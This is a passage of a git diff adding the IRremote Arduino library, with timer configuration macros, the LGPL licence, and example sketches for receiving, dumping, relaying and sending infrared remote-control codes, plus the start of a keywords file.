TIMER_INTR_NAME TIMER3_COMPA_vect +#define TIMER_CONFIG_KHZ(val) ({ \ + const uint16_t pwmval = SYSCLOCK / 2000 / (val); \ + TCCR3A = _BV(WGM31); \ + TCCR3B = _BV(WGM33) | _BV(CS30); \ + ICR3 = pwmval; \ + OCR3A = pwmval / 3; \ +}) +#define TIMER_CONFIG_NORMAL() ({ \ + TCCR3A = 0; \ + TCCR3B = _BV(WGM32) | _BV(CS30); \ + OCR3A = SYSCLOCK * USECPERTICK / 1000000; \ + TCNT3 = 0; \ +}) +#if defined(CORE_OC3A_PIN) +#define TIMER_PWM_PIN CORE_OC3A_PIN /* Teensy */ +#elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) +#define TIMER_PWM_PIN 5 /* Arduino Mega */ +#else +#error "Please add OC3A pin number here\n" +#endif + + +// defines for timer4 (10 bits, high speed option) +#elif defined(IR_USE_TIMER4_HS) +#define TIMER_RESET +#define TIMER_ENABLE_PWM (TCCR4A |= _BV(COM4A1)) +#define TIMER_DISABLE_PWM (TCCR4A &= ~(_BV(COM4A1))) +#define TIMER_ENABLE_INTR (TIMSK4 = _BV(TOIE4)) +#define TIMER_DISABLE_INTR (TIMSK4 = 0) +#define TIMER_INTR_NAME TIMER4_OVF_vect +#define TIMER_CONFIG_KHZ(val) ({ \ + const uint16_t pwmval = SYSCLOCK / 2000 / (val); \ + TCCR4A = (1<> 8; \ + OCR4C = pwmval; \ + TC4H = (pwmval / 3) >> 8; \ + OCR4A = (pwmval / 3) & 255; \ +}) +#define TIMER_CONFIG_NORMAL() ({ \ + TCCR4A = 0; \ + TCCR4B = _BV(CS40); \ + TCCR4C = 0; \ + TCCR4D = 0; \ + TCCR4E = 0; \ + TC4H = (SYSCLOCK * USECPERTICK / 1000000) >> 8; \ + OCR4C = (SYSCLOCK * USECPERTICK / 1000000) & 255; \ + TC4H = 0; \ + TCNT4 = 0; \ +}) +#if defined(CORE_OC4A_PIN) +#define TIMER_PWM_PIN CORE_OC4A_PIN /* Teensy */ +#elif defined(__AVR_ATmega32U4__) +#define TIMER_PWM_PIN 13 /* Leonardo */ +#else +#error "Please add OC4A pin number here\n" +#endif + + +// defines for timer4 (16 bits) +#elif defined(IR_USE_TIMER4) +#define TIMER_RESET +#define TIMER_ENABLE_PWM (TCCR4A |= _BV(COM4A1)) +#define TIMER_DISABLE_PWM (TCCR4A &= ~(_BV(COM4A1))) +#define TIMER_ENABLE_INTR (TIMSK4 = _BV(OCIE4A)) +#define TIMER_DISABLE_INTR (TIMSK4 = 0) +#define TIMER_INTR_NAME TIMER4_COMPA_vect +#define TIMER_CONFIG_KHZ(val) ({ \ + const uint16_t pwmval = SYSCLOCK / 2000 / (val); \ + TCCR4A = _BV(WGM41); \ + TCCR4B = _BV(WGM43) | _BV(CS40); \ + ICR4 = pwmval; \ + OCR4A = pwmval / 3; \ +}) +#define TIMER_CONFIG_NORMAL() ({ \ + TCCR4A = 0; \ + TCCR4B = _BV(WGM42) | _BV(CS40); \ + OCR4A = SYSCLOCK * USECPERTICK / 1000000; \ + TCNT4 = 0; \ +}) +#if defined(CORE_OC4A_PIN) +#define TIMER_PWM_PIN CORE_OC4A_PIN +#elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) +#define TIMER_PWM_PIN 6 /* Arduino Mega */ +#else +#error "Please add OC4A pin number here\n" +#endif + + +// defines for timer5 (16 bits) +#elif defined(IR_USE_TIMER5) +#define TIMER_RESET +#define TIMER_ENABLE_PWM (TCCR5A |= _BV(COM5A1)) +#define TIMER_DISABLE_PWM (TCCR5A &= ~(_BV(COM5A1))) +#define TIMER_ENABLE_INTR (TIMSK5 = _BV(OCIE5A)) +#define TIMER_DISABLE_INTR (TIMSK5 = 0) +#define TIMER_INTR_NAME TIMER5_COMPA_vect +#define TIMER_CONFIG_KHZ(val) ({ \ + const uint16_t pwmval = SYSCLOCK / 2000 / (val); \ + TCCR5A = _BV(WGM51); \ + TCCR5B = _BV(WGM53) | _BV(CS50); \ + ICR5 = pwmval; \ + OCR5A = pwmval / 3; \ +}) +#define TIMER_CONFIG_NORMAL() ({ \ + TCCR5A = 0; \ + TCCR5B = _BV(WGM52) | _BV(CS50); \ + OCR5A = SYSCLOCK * USECPERTICK / 1000000; \ + TCNT5 = 0; \ +}) +#if defined(CORE_OC5A_PIN) +#define TIMER_PWM_PIN CORE_OC5A_PIN +#elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) +#define TIMER_PWM_PIN 46 /* Arduino Mega */ +#else +#error "Please add OC5A pin number here\n" +#endif + + +#else // unknown timer +#error "Internal code configuration error, no known IR_USE_TIMER# defined\n" +#endif + + +// defines for blinking the LED +#if defined(CORE_LED0_PIN) +#define BLINKLED CORE_LED0_PIN +#define BLINKLED_ON() (digitalWrite(CORE_LED0_PIN, HIGH)) +#define BLINKLED_OFF() (digitalWrite(CORE_LED0_PIN, LOW)) +#elif defined(__AVR_ATmega1280__) || defined(__AVR_ATmega2560__) +#define BLINKLED 13 +#define BLINKLED_ON() (PORTB |= B10000000) +#define BLINKLED_OFF() (PORTB &= B01111111) +#elif defined(__AVR_ATmega644P__) || defined(__AVR_ATmega644__) +#define BLINKLED 0 +#define BLINKLED_ON() (PORTD |= B00000001) +#define BLINKLED_OFF() (PORTD &= B11111110) +#else +#define BLINKLED 13 +#define BLINKLED_ON() (PORTB |= B00100000) +#define BLINKLED_OFF() (PORTB &= B11011111) +#endif + +#endif diff --git a/Projects/libraries/Installed_libs/IRRemote/LICENSE.txt b/Projects/libraries/Installed_libs/IRRemote/LICENSE.txt new file mode 100755 index 0000000..77cec6d --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/LICENSE.txt @@ -0,0 +1,458 @@ + + GNU LESSER GENERAL PUBLIC LICENSE + Version 2.1, February 1999 + + Copyright (C) 1991, 1999 Free Software Foundation, Inc. + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + +[This is the first released version of the Lesser GPL. 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this is the + * send button. + * A visible LED can be connected to STATUS_PIN to provide status. + * + * The logic is: + * If the button is pressed, send the IR code. + * If an IR code is received, record it. + * + * Version 0.11 September, 2009 + * Copyright 2009 Ken Shirriff + * http://arcfn.com + */ + +#include + +int RECV_PIN = 11; +int BUTTON_PIN = 12; +int STATUS_PIN = 13; + +IRrecv irrecv(RECV_PIN); +IRsend irsend; + +decode_results results; + +void setup() +{ + Serial.begin(9600); + irrecv.enableIRIn(); // Start the receiver + pinMode(BUTTON_PIN, INPUT); + pinMode(STATUS_PIN, OUTPUT); +} + +// Storage for the recorded code +int codeType = -1; // The type of code +unsigned long codeValue; // The code value if not raw +unsigned int rawCodes[RAWBUF]; // The durations if raw +int codeLen; // The length of the code +int toggle = 0; // The RC5/6 toggle state + +// Stores the code for later playback +// Most of this code is just logging +void storeCode(decode_results *results) { + codeType = results->decode_type; + int count = results->rawlen; + if (codeType == UNKNOWN) { + Serial.println("Received unknown code, saving as raw"); + codeLen = results->rawlen - 1; + // To store raw codes: + // Drop first value (gap) + // Convert from ticks to microseconds + // Tweak marks shorter, and spaces longer to cancel out IR receiver distortion + for (int i = 1; i <= codeLen; i++) { + if (i % 2) { + // Mark + rawCodes[i - 1] = results->rawbuf[i]*USECPERTICK - MARK_EXCESS; + Serial.print(" m"); + } + else { + // Space + rawCodes[i - 1] = results->rawbuf[i]*USECPERTICK + MARK_EXCESS; + Serial.print(" s"); + } + Serial.print(rawCodes[i - 1], DEC); + } + Serial.println(""); + } + else { + if (codeType == NEC) { + Serial.print("Received NEC: "); + if (results->value == REPEAT) { + // Don't record a NEC repeat value as that's useless. + Serial.println("repeat; ignoring."); + return; + } + } + else if (codeType == SONY) { + Serial.print("Received SONY: "); + } + else if (codeType == RC5) { + Serial.print("Received RC5: "); + } + else if (codeType == RC6) { + Serial.print("Received RC6: "); + } + else { + Serial.print("Unexpected codeType "); + Serial.print(codeType, DEC); + Serial.println(""); + } + Serial.println(results->value, HEX); + codeValue = results->value; + codeLen = results->bits; + } +} + +void sendCode(int repeat) { + if (codeType == NEC) { + if (repeat) { + irsend.sendNEC(REPEAT, codeLen); + Serial.println("Sent NEC repeat"); + } + else { + irsend.sendNEC(codeValue, codeLen); + Serial.print("Sent NEC "); + Serial.println(codeValue, HEX); + } + } + else if (codeType == SONY) { + irsend.sendSony(codeValue, codeLen); + Serial.print("Sent Sony "); + Serial.println(codeValue, HEX); + } + else if (codeType == RC5 || codeType == RC6) { + if (!repeat) { + // Flip the toggle bit for a new button press + toggle = 1 - toggle; + } + // Put the toggle bit into the code to send + codeValue = codeValue & ~(1 << (codeLen - 1)); + codeValue = codeValue | (toggle << (codeLen - 1)); + if (codeType == RC5) { + Serial.print("Sent RC5 "); + Serial.println(codeValue, HEX); + irsend.sendRC5(codeValue, codeLen); + } + else { + irsend.sendRC6(codeValue, codeLen); + Serial.print("Sent RC6 "); + Serial.println(codeValue, HEX); + } + } + else if (codeType == UNKNOWN /* i.e. raw */) { + // Assume 38 KHz + irsend.sendRaw(rawCodes, codeLen, 38); + Serial.println("Sent raw"); + } +} + +int lastButtonState; + +void loop() { + // If button pressed, send the code. + int buttonState = digitalRead(BUTTON_PIN); + if (lastButtonState == HIGH && buttonState == LOW) { + Serial.println("Released"); + irrecv.enableIRIn(); // Re-enable receiver + } + + if (buttonState) { + Serial.println("Pressed, sending"); + digitalWrite(STATUS_PIN, HIGH); + sendCode(lastButtonState == buttonState); + digitalWrite(STATUS_PIN, LOW); + delay(50); // Wait a bit between retransmissions + } + else if (irrecv.decode(&results)) { + digitalWrite(STATUS_PIN, HIGH); + storeCode(&results); + irrecv.resume(); // resume receiver + digitalWrite(STATUS_PIN, LOW); + } + lastButtonState = buttonState; +} diff --git a/Projects/libraries/Installed_libs/IRRemote/examples/IRrecvDemo/IRrecvDemo.ino b/Projects/libraries/Installed_libs/IRRemote/examples/IRrecvDemo/IRrecvDemo.ino new file mode 100755 index 0000000..f7b45b8 --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/examples/IRrecvDemo/IRrecvDemo.ino @@ -0,0 +1,28 @@ +/* + * IRremote: IRrecvDemo - demonstrates receiving IR codes with IRrecv + * An IR detector/demodulator must be connected to the input RECV_PIN. + * Version 0.1 July, 2009 + * Copyright 2009 Ken Shirriff + * http://arcfn.com + */ + +#include + +int RECV_PIN = 11; + +IRrecv irrecv(RECV_PIN); + +decode_results results; + +void setup() +{ + Serial.begin(9600); + irrecv.enableIRIn(); // Start the receiver +} + +void loop() { + if (irrecv.decode(&results)) { + Serial.println(results.value, HEX); + irrecv.resume(); // Receive the next value + } +} diff --git a/Projects/libraries/Installed_libs/IRRemote/examples/IRrecvDump/IRrecvDump.ino b/Projects/libraries/Installed_libs/IRRemote/examples/IRrecvDump/IRrecvDump.ino new file mode 100755 index 0000000..6afcb0f --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/examples/IRrecvDump/IRrecvDump.ino @@ -0,0 +1,81 @@ +/* + * IRremote: IRrecvDump - dump details of IR codes with IRrecv + * An IR detector/demodulator must be connected to the input RECV_PIN. + * Version 0.1 July, 2009 + * Copyright 2009 Ken Shirriff + * http://arcfn.com + * JVC and Panasonic protocol added by Kristian Lauszus (Thanks to zenwheel and other people at the original blog post) + */ + +#include + +int RECV_PIN = 11; + +IRrecv irrecv(RECV_PIN); + +decode_results results; + +void setup() +{ + Serial.begin(9600); + irrecv.enableIRIn(); // Start the receiver +} + +// Dumps out the decode_results structure. +// Call this after IRrecv::decode() +// void * to work around compiler issue +//void dump(void *v) { +// decode_results *results = (decode_results *)v +void dump(decode_results *results) { + int count = results->rawlen; + if (results->decode_type == UNKNOWN) { + Serial.print("Unknown encoding: "); + } + else if (results->decode_type == NEC) { + Serial.print("Decoded NEC: "); + } + else if (results->decode_type == SONY) { + Serial.print("Decoded SONY: "); + } + else if (results->decode_type == RC5) { + Serial.print("Decoded RC5: "); + } + else if (results->decode_type == RC6) { + Serial.print("Decoded RC6: "); + } + else if (results->decode_type == PANASONIC) { + Serial.print("Decoded PANASONIC - Address: "); + Serial.print(results->panasonicAddress,HEX); + Serial.print(" Value: "); + } + else if (results->decode_type == JVC) { + Serial.print("Decoded JVC: "); + } + Serial.print(results->value, HEX); + Serial.print(" ("); + Serial.print(results->bits, DEC); + Serial.println(" bits)"); + Serial.print("Raw ("); + Serial.print(count, DEC); + Serial.print("): "); + + for (int i = 0; i < count; i++) { + if ((i % 2) == 1) { + Serial.print(results->rawbuf[i]*USECPERTICK, DEC); + } + else { + Serial.print(-(int)results->rawbuf[i]*USECPERTICK, DEC); + } + Serial.print(" "); + } + Serial.println(""); +} + + +void loop() { + if (irrecv.decode(&results)) { + Serial.println(results.value, HEX); + dump(&results); + irrecv.resume(); // Receive the next value + } +} diff --git a/Projects/libraries/Installed_libs/IRRemote/examples/IRrelay/IRrelay.ino b/Projects/libraries/Installed_libs/IRRemote/examples/IRrelay/IRrelay.ino new file mode 100755 index 0000000..046fb5f --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/examples/IRrelay/IRrelay.ino @@ -0,0 +1,85 @@ +/* + * IRremote: IRrecvDemo - demonstrates receiving IR codes with IRrecv + * An IR detector/demodulator must be connected to the input RECV_PIN. + * Version 0.1 July, 2009 + * Copyright 2009 Ken Shirriff + * http://arcfn.com + */ + +#include + +int RECV_PIN = 11; +int RELAY_PIN = 4; + +IRrecv irrecv(RECV_PIN); +decode_results results; + +// Dumps out the decode_results structure. +// Call this after IRrecv::decode() +// void * to work around compiler issue +//void dump(void *v) { +// decode_results *results = (decode_results *)v +void dump(decode_results *results) { + int count = results->rawlen; + if (results->decode_type == UNKNOWN) { + Serial.println("Could not decode message"); + } + else { + if (results->decode_type == NEC) { + Serial.print("Decoded NEC: "); + } + else if (results->decode_type == SONY) { + Serial.print("Decoded SONY: "); + } + else if (results->decode_type == RC5) { + Serial.print("Decoded RC5: "); + } + else if (results->decode_type == RC6) { + Serial.print("Decoded RC6: "); + } + Serial.print(results->value, HEX); + Serial.print(" ("); + Serial.print(results->bits, DEC); + Serial.println(" bits)"); + } + Serial.print("Raw ("); + Serial.print(count, DEC); + Serial.print("): "); + + for (int i = 0; i < count; i++) { + if ((i % 2) == 1) { + Serial.print(results->rawbuf[i]*USECPERTICK, DEC); + } + else { + Serial.print(-(int)results->rawbuf[i]*USECPERTICK, DEC); + } + Serial.print(" "); + } + Serial.println(""); +} + +void setup() +{ + pinMode(RELAY_PIN, OUTPUT); + pinMode(13, OUTPUT); + Serial.begin(9600); + irrecv.enableIRIn(); // Start the receiver +} + +int on = 0; +unsigned long last = millis(); + +void loop() { + if (irrecv.decode(&results)) { + // If it's been at least 1/4 second since the last + // IR received, toggle the relay + if (millis() - last > 250) { + on = !on; + digitalWrite(RELAY_PIN, on ? HIGH : LOW); + digitalWrite(13, on ? HIGH : LOW); + dump(&results); + } + last = millis(); + irrecv.resume(); // Receive the next value + } +} diff --git a/Projects/libraries/Installed_libs/IRRemote/examples/IRsendDemo/IRsendDemo.ino b/Projects/libraries/Installed_libs/IRRemote/examples/IRsendDemo/IRsendDemo.ino new file mode 100755 index 0000000..a21af31 --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/examples/IRsendDemo/IRsendDemo.ino @@ -0,0 +1,25 @@ +/* + * IRremote: IRsendDemo - demonstrates sending IR codes with IRsend + * An IR LED must be connected to Arduino PWM pin 3. + * Version 0.1 July, 2009 + * Copyright 2009 Ken Shirriff + * http://arcfn.com + */ + +#include + +IRsend irsend; + +void setup() +{ + Serial.begin(9600); +} + +void loop() { + if (Serial.read() != -1) { + for (int i = 0; i < 3; i++) { + irsend.sendSony(0xa90, 12); // Sony TV power code + delay(40); + } + } +} diff --git a/Projects/libraries/Installed_libs/IRRemote/examples/IRtest/IRtest.ino b/Projects/libraries/Installed_libs/IRRemote/examples/IRtest/IRtest.ino new file mode 100755 index 0000000..4845a4a --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/examples/IRtest/IRtest.ino @@ -0,0 +1,190 @@ +/* + * IRremote: IRtest unittest + * Version 0.1 July, 2009 + * Copyright 2009 Ken Shirriff + * http://arcfn.com + * + * Note: to run these tests, edit IRremote/IRremote.h to add "#define TEST" + * You must then recompile the library by removing IRremote.o and restarting + * the arduino IDE. + */ + +#include +#include + +// Dumps out the decode_results structure. +// Call this after IRrecv::decode() +// void * to work around compiler issue +//void dump(void *v) { +// decode_results *results = (decode_results *)v +void dump(decode_results *results) { + int count = results->rawlen; + if (results->decode_type == UNKNOWN) { + Serial.println("Could not decode message"); + } + else { + if (results->decode_type == NEC) { + Serial.print("Decoded NEC: "); + } + else if (results->decode_type == SONY) { + Serial.print("Decoded SONY: "); + } + else if (results->decode_type == RC5) { + Serial.print("Decoded RC5: "); + } + else if (results->decode_type == RC6) { + Serial.print("Decoded RC6: "); + } + Serial.print(results->value, HEX); + Serial.print(" ("); + Serial.print(results->bits, DEC); + Serial.println(" bits)"); + } + Serial.print("Raw ("); + Serial.print(count, DEC); + Serial.print("): "); + + for (int i = 0; i < count; i++) { + if ((i % 2) == 1) { + Serial.print(results->rawbuf[i]*USECPERTICK, DEC); + } + else { + Serial.print(-(int)results->rawbuf[i]*USECPERTICK, DEC); + } + Serial.print(" "); + } + Serial.println(""); +} + +IRrecv irrecv(0); +decode_results results; + +class IRsendDummy : +public IRsend +{ +public: + // For testing, just log the marks/spaces +#define SENDLOG_LEN 128 + int sendlog[SENDLOG_LEN]; + int sendlogcnt; + IRsendDummy() : + IRsend() { + } + void reset() { + sendlogcnt = 0; + } + void mark(int time) { + sendlog[sendlogcnt] = time; + if (sendlogcnt < SENDLOG_LEN) sendlogcnt++; + } + void space(int time) { + sendlog[sendlogcnt] = -time; + if (sendlogcnt < SENDLOG_LEN) sendlogcnt++; + } + // Copies the dummy buf into the interrupt buf + void useDummyBuf() { + int last = SPACE; + irparams.rcvstate = STATE_STOP; + irparams.rawlen = 1; // Skip the gap + for (int i = 0 ; i < sendlogcnt; i++) { + if (sendlog[i] < 0) { + if (last == MARK) { + // New space + irparams.rawbuf[irparams.rawlen++] = (-sendlog[i] - MARK_EXCESS) / USECPERTICK; + last = SPACE; + } + else { + // More space + irparams.rawbuf[irparams.rawlen - 1] += -sendlog[i] / USECPERTICK; + } + } + else if (sendlog[i] > 0) { + if (last == SPACE) { + // New mark + irparams.rawbuf[irparams.rawlen++] = (sendlog[i] + MARK_EXCESS) / USECPERTICK; + last = MARK; + } + else { + // More mark + irparams.rawbuf[irparams.rawlen - 1] += sendlog[i] / USECPERTICK; + } + } + } + if (irparams.rawlen % 2) { + irparams.rawlen--; // Remove trailing space + } + } +}; + +IRsendDummy irsenddummy; + +void verify(unsigned long val, int bits, int type) { + irsenddummy.useDummyBuf(); + irrecv.decode(&results); + Serial.print("Testing "); + Serial.print(val, HEX); + if (results.value == val && results.bits == bits && results.decode_type == type) { + Serial.println(": OK"); + } + else { + Serial.println(": Error"); + dump(&results); + } +} + +void testNEC(unsigned long val, int bits) { + irsenddummy.reset(); + irsenddummy.sendNEC(val, bits); + verify(val, bits, NEC); +} +void testSony(unsigned long val, int bits) { + irsenddummy.reset(); + irsenddummy.sendSony(val, bits); + verify(val, bits, SONY); +} +void testRC5(unsigned long val, int bits) { + irsenddummy.reset(); + irsenddummy.sendRC5(val, bits); + verify(val, bits, RC5); +} +void testRC6(unsigned long val, int bits) { + irsenddummy.reset(); + irsenddummy.sendRC6(val, bits); + verify(val, bits, RC6); +} + +void test() { + Serial.println("NEC tests"); + testNEC(0x00000000, 32); + testNEC(0xffffffff, 32); + testNEC(0xaaaaaaaa, 32); + testNEC(0x55555555, 32); + testNEC(0x12345678, 32); + Serial.println("Sony tests"); + testSony(0xfff, 12); + testSony(0x000, 12); + testSony(0xaaa, 12); + testSony(0x555, 12); + testSony(0x123, 12); + Serial.println("RC5 tests"); + testRC5(0xfff, 12); + testRC5(0x000, 12); + testRC5(0xaaa, 12); + testRC5(0x555, 12); + testRC5(0x123, 12); + Serial.println("RC6 tests"); + testRC6(0xfffff, 20); + testRC6(0x00000, 20); + testRC6(0xaaaaa, 20); + testRC6(0x55555, 20); + testRC6(0x12345, 20); +} + +void setup() +{ + Serial.begin(9600); + test(); +} + +void loop() { +} diff --git a/Projects/libraries/Installed_libs/IRRemote/examples/IRtest2/IRtest2.ino b/Projects/libraries/Installed_libs/IRRemote/examples/IRtest2/IRtest2.ino new file mode 100755 index 0000000..56b8a4d --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/examples/IRtest2/IRtest2.ino @@ -0,0 +1,290 @@ +/* + * Test send/receive functions of IRremote, using a pair of Arduinos. + * + * Arduino #1 should have an IR LED connected to the send pin (3). + * Arduino #2 should have an IR detector/demodulator connected to the + * receive pin (11) and a visible LED connected to pin 3. + * + * The cycle: + * Arduino #1 will wait 2 seconds, then run through the tests. + * It repeats this forever. + * Arduino #2 will wait for at least one second of no signal + * (to synchronize with #1). It will then wait for the same test + * signals. It will log all the status to the serial port. It will + * also indicate status through the LED, which will flash each time a test + * is completed. If there is an error, it will light up for 5 seconds. + * + * The test passes if the LED flashes 19 times, pauses, and then repeats. + * The test fails if the LED lights for 5 seconds. + * + * The test software automatically decides which board is the sender and which is + * the receiver by looking for an input on the send pin, which will indicate + * the sender. You should hook the serial port to the receiver for debugging. + * + * Copyright 2010 Ken Shirriff + * http://arcfn.com + */ + +#include + +int RECV_PIN = 11; +int LED_PIN = 3; + +IRrecv irrecv(RECV_PIN); +IRsend irsend; + +decode_results results; + +#define RECEIVER 1 +#define SENDER 2 +#define ERROR 3 + +int mode; + +void setup() +{ + Serial.begin(9600); + // Check RECV_PIN to decide if we're RECEIVER or SENDER + if (digitalRead(RECV_PIN) == HIGH) { + mode = RECEIVER; + irrecv.enableIRIn(); + pinMode(LED_PIN, OUTPUT); + digitalWrite(LED_PIN, LOW); + Serial.println("Receiver mode"); + } + else { + mode = SENDER; + Serial.println("Sender mode"); + } +} + +// Wait for the gap between tests, to synchronize with +// the sender. +// Specifically, wait for a signal followed by a gap of at last gap ms. +void waitForGap(int gap) { + Serial.println("Waiting for gap"); + while (1) { + while (digitalRead(RECV_PIN) == LOW) { + } + unsigned long time = millis(); + while (digitalRead(RECV_PIN) == HIGH) { + if (millis() - time > gap) { + return; + } + } + } +} + +// Dumps out the decode_results structure. +// Call this after IRrecv::decode() +void dump(decode_results *results) { + int count = results->rawlen; + if (results->decode_type == UNKNOWN) { + Serial.println("Could not decode message"); + } + else { + if (results->decode_type == NEC) { + Serial.print("Decoded NEC: "); + } + else if (results->decode_type == SONY) { + Serial.print("Decoded SONY: "); + } + else if (results->decode_type == RC5) { + Serial.print("Decoded RC5: "); + } + else if (results->decode_type == RC6) { + Serial.print("Decoded RC6: "); + } + Serial.print(results->value, HEX); + Serial.print(" ("); + Serial.print(results->bits, DEC); + Serial.println(" bits)"); + } + Serial.print("Raw ("); + Serial.print(count, DEC); + Serial.print("): "); + + for (int i = 0; i < count; i++) { + if ((i % 2) == 1) { + Serial.print(results->rawbuf[i]*USECPERTICK, DEC); + } + else { + Serial.print(-(int)results->rawbuf[i]*USECPERTICK, DEC); + } + Serial.print(" "); + } + Serial.println(""); +} + + +// Test send or receive. +// If mode is SENDER, send a code of the specified type, value, and bits +// If mode is RECEIVER, receive a code and verify that it is of the +// specified type, value, and bits. For success, the LED is flashed; +// for failure, the mode is set to ERROR. +// The motivation behind this method is that the sender and the receiver +// can do the same test calls, and the mode variable indicates whether +// to send or receive. +void test(char *label, int type, unsigned long value, int bits) { + if (mode == SENDER) { + Serial.println(label); + if (type == NEC) { + irsend.sendNEC(value, bits); + } + else if (type == SONY) { + irsend.sendSony(value, bits); + } + else if (type == RC5) { + irsend.sendRC5(value, bits); + } + else if (type == RC6) { + irsend.sendRC6(value, bits); + } + else { + Serial.print(label); + Serial.println("Bad type!"); + } + delay(200); + } + else if (mode == RECEIVER) { + irrecv.resume(); // Receive the next value + unsigned long max_time = millis() + 30000; + Serial.print(label); + + // Wait for decode or timeout + while (!irrecv.decode(&results)) { + if (millis() > max_time) { + Serial.println("Timeout receiving data"); + mode = ERROR; + return; + } + } + if (type == results.decode_type && value == results.value && bits == results.bits) { + Serial.println (": OK"); + digitalWrite(LED_PIN, HIGH); + delay(20); + digitalWrite(LED_PIN, LOW); + } + else { + Serial.println(": BAD"); + dump(&results); + mode = ERROR; + } + } +} + +// Test raw send or receive. This is similar to the test method, +// except it send/receives raw data. +void testRaw(char *label, unsigned int *rawbuf, int rawlen) { + if (mode == SENDER) { + Serial.println(label); + irsend.sendRaw(rawbuf, rawlen, 38 /* kHz */); + delay(200); + } + else if (mode == RECEIVER ) { + irrecv.resume(); // Receive the next value + unsigned long max_time = millis() + 30000; + Serial.print(label); + + // Wait for decode or timeout + while (!irrecv.decode(&results)) { + if (millis() > max_time) { + Serial.println("Timeout receiving data"); + mode = ERROR; + return; + } + } + + // Received length has extra first element for gap + if (rawlen != results.rawlen - 1) { + Serial.print("Bad raw length "); + Serial.println(results.rawlen, DEC); + mode = ERROR; + return; + } + for (int i = 0; i < rawlen; i++) { + long got = results.rawbuf[i+1] * USECPERTICK; + // Adjust for extra duration of marks + if (i % 2 == 0) { + got -= MARK_EXCESS; + } + else { + got += MARK_EXCESS; + } + // See if close enough, within 25% + if (rawbuf[i] * 1.25 < got || got * 1.25 < rawbuf[i]) { + Serial.println(": BAD"); + dump(&results); + mode = ERROR; + return; + } + + } + Serial.println (": OK"); + digitalWrite(LED_PIN, HIGH); + delay(20); + digitalWrite(LED_PIN, LOW); + } +} + +// This is the raw data corresponding to NEC 0x12345678 +unsigned int sendbuf[] = { /* NEC format */ + 9000, 4500, + 560, 560, 560, 560, 560, 560, 560, 1690, /* 1 */ + 560, 560, 560, 560, 560, 1690, 560, 560, /* 2 */ + 560, 560, 560, 560, 560, 1690, 560, 1690, /* 3 */ + 560, 560, 560, 1690, 560, 560, 560, 560, /* 4 */ + 560, 560, 560, 1690, 560, 560, 560, 1690, /* 5 */ + 560, 560, 560, 1690, 560, 1690, 560, 560, /* 6 */ + 560, 560, 560, 1690, 560, 1690, 560, 1690, /* 7 */ + 560, 1690, 560, 560, 560, 560, 560, 560, /* 8 */ + 560}; + +void loop() { + if (mode == SENDER) { + delay(2000); // Delay for more than gap to give receiver a better chance to sync. + } + else if (mode == RECEIVER) { + waitForGap(1000); + } + else if (mode == ERROR) { + // Light up for 5 seconds for error + digitalWrite(LED_PIN, HIGH); + delay(5000); + digitalWrite(LED_PIN, LOW); + mode = RECEIVER; // Try again + return; + } + + // The test suite. + test("SONY1", SONY, 0x123, 12); + test("SONY2", SONY, 0x000, 12); + test("SONY3", SONY, 0xfff, 12); + test("SONY4", SONY, 0x12345, 20); + test("SONY5", SONY, 0x00000, 20); + test("SONY6", SONY, 0xfffff, 20); + test("NEC1", NEC, 0x12345678, 32); + test("NEC2", NEC, 0x00000000, 32); + test("NEC3", NEC, 0xffffffff, 32); + test("NEC4", NEC, REPEAT, 32); + test("RC51", RC5, 0x12345678, 32); + test("RC52", RC5, 0x0, 32); + test("RC53", RC5, 0xffffffff, 32); + test("RC61", RC6, 0x12345678, 32); + test("RC62", RC6, 0x0, 32); + test("RC63", RC6, 0xffffffff, 32); + + // Tests of raw sending and receiving. + // First test sending raw and receiving raw. + // Then test sending raw and receiving decoded NEC + // Then test sending NEC and receiving raw + testRaw("RAW1", sendbuf, 67); + if (mode == SENDER) { + testRaw("RAW2", sendbuf, 67); + test("RAW3", NEC, 0x12345678, 32); + } + else { + test("RAW2", NEC, 0x12345678, 32); + testRaw("RAW3", sendbuf, 67); + } +} diff --git a/Projects/libraries/Installed_libs/IRRemote/examples/JVCPanasonicSendDemo/JVCPanasonicSendDemo.ino b/Projects/libraries/Installed_libs/IRRemote/examples/JVCPanasonicSendDemo/JVCPanasonicSendDemo.ino new file mode 100755 index 0000000..33c167c --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/examples/JVCPanasonicSendDemo/JVCPanasonicSendDemo.ino @@ -0,0 +1,29 @@ +/* + * IRremote: IRsendDemo - demonstrates sending IR codes with IRsend + * An IR LED must be connected to Arduino PWM pin 3. + * Version 0.1 July, 2009 + * Copyright 2009 Ken Shirriff + * http://arcfn.com + * JVC and Panasonic protocol added by Kristian Lauszus (Thanks to zenwheel and other people at the original blog post) + */ +#include + +#define PanasonicAddress 0x4004 // Panasonic address (Pre data) +#define PanasonicPower 0x100BCBD // Panasonic Power button + +#define JVCPower 0xC5E8 + +IRsend irsend; + +void setup() +{ +} + +void loop() { + irsend.sendPanasonic(PanasonicAddress,PanasonicPower); // This should turn your TV on and off + + irsend.sendJVC(JVCPower, 16,0); // hex value, 16 bits, no repeat + delayMicroseconds(50); // see http://www.sbprojects.com/knowledge/ir/jvc.php for information + irsend.sendJVC(JVCPower, 16,1); // hex value, 16 bits, repeat + delayMicroseconds(50); +} diff --git a/Projects/libraries/Installed_libs/IRRemote/keywords.txt b/Projects/libraries/Installed_libs/IRRemote/keywords.txt new file mode 100755 index 0000000..74010c4 --- /dev/null +++ b/Projects/libraries/Installed_libs/IRRemote/keywords.txt @@ -0,0 +1,50 @@ +####################################### +# Syntax Coloring Map For IRremote +####################################### + +####################################### +# Datatypes (KEYWORD1) +####################################### + +decode_results KEYWORD1 +IRrecv KEYWORD1 +IRsend KEYWORD1 + +####################################### +# Methods and Functions (KEYWORD2) +####################################### + +blink13 KEYWORD2 +decode KEYWORD2 +enableIRIn KEYWORD2 +resume KEYWORD2 +enableIROut KEYWORD2 +sendNEC KEYWORD2 +sendSony KEYWORD2 +sendSanyo 